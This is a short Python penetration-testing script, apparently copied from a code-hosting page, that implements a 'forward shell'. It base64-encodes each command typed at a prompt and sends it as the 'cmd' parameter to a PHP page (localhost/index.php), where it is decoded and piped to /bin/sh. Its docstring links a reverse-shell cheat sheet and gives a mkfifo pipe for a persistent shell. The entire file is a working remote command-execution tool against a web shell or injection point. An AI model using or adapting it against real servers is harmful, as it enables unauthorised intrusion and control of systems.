52 lines
879 B
Python
52 lines
879 B
Python
|
#!/usr/bin/env python3
|
||
|
|
"""
|
||
|
|
|
||
|
|
Forward Shell
|
||
|
|
|
||
|
|
Comandos para reverse shell:
|
||
|
|
https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
|
||
|
|
|
||
|
|
mkfifo input; tail -f input | /bin/sh 2>&1 > output
|
||
|
|
|
||
|
|
"""
|
||
|
|
|
||
|
|
import requests
|
||
|
|
import signal
|
||
|
|
import sys
|
||
|
|
|
||
|
|
from termcolor import colored
|
||
|
|
from base64 import b64encode
|
||
|
|
|
||
|
|
def def_handler(sig, frame):
|
||
|
|
|
||
|
|
print(colored("\n[!] Exiting...", "blue"))
|
||
|
|
sys.exit(1)
|
||
|
|
|
||
|
|
|
||
|
|
signal.signal(signal.SIGINT, def_handler)
|
||
|
|
|
||
|
|
main_url = "http://localhost/index.php"
|
||
|
|
|
||
|
|
|
||
|
|
def run_command(command):
|
||
|
|
|
||
|
|
command = b64encode(command.encode()).decode()
|
||
|
|
|
||
|
|
data = {
|
||
|
|
'cmd': 'echo "%s" | base64 -d | /bin/sh' % command
|
||
|
|
}
|
||
|
|
|
||
|
|
r = requests.get(main_url, params=data)
|
||
|
|
|
||
|
|
return r.text
|
||
|
|
|
||
|
|
|
||
|
|
if __name__ == '__main__':
|
||
|
|
|
||
|
|
while True:
|
||
|
|
|
||
|
|
command = input(colored("> ", "yellow"))
|
||
|
|
output_command = run_command(command)
|
||
|
|
|
||
|
|
print(output_command)
|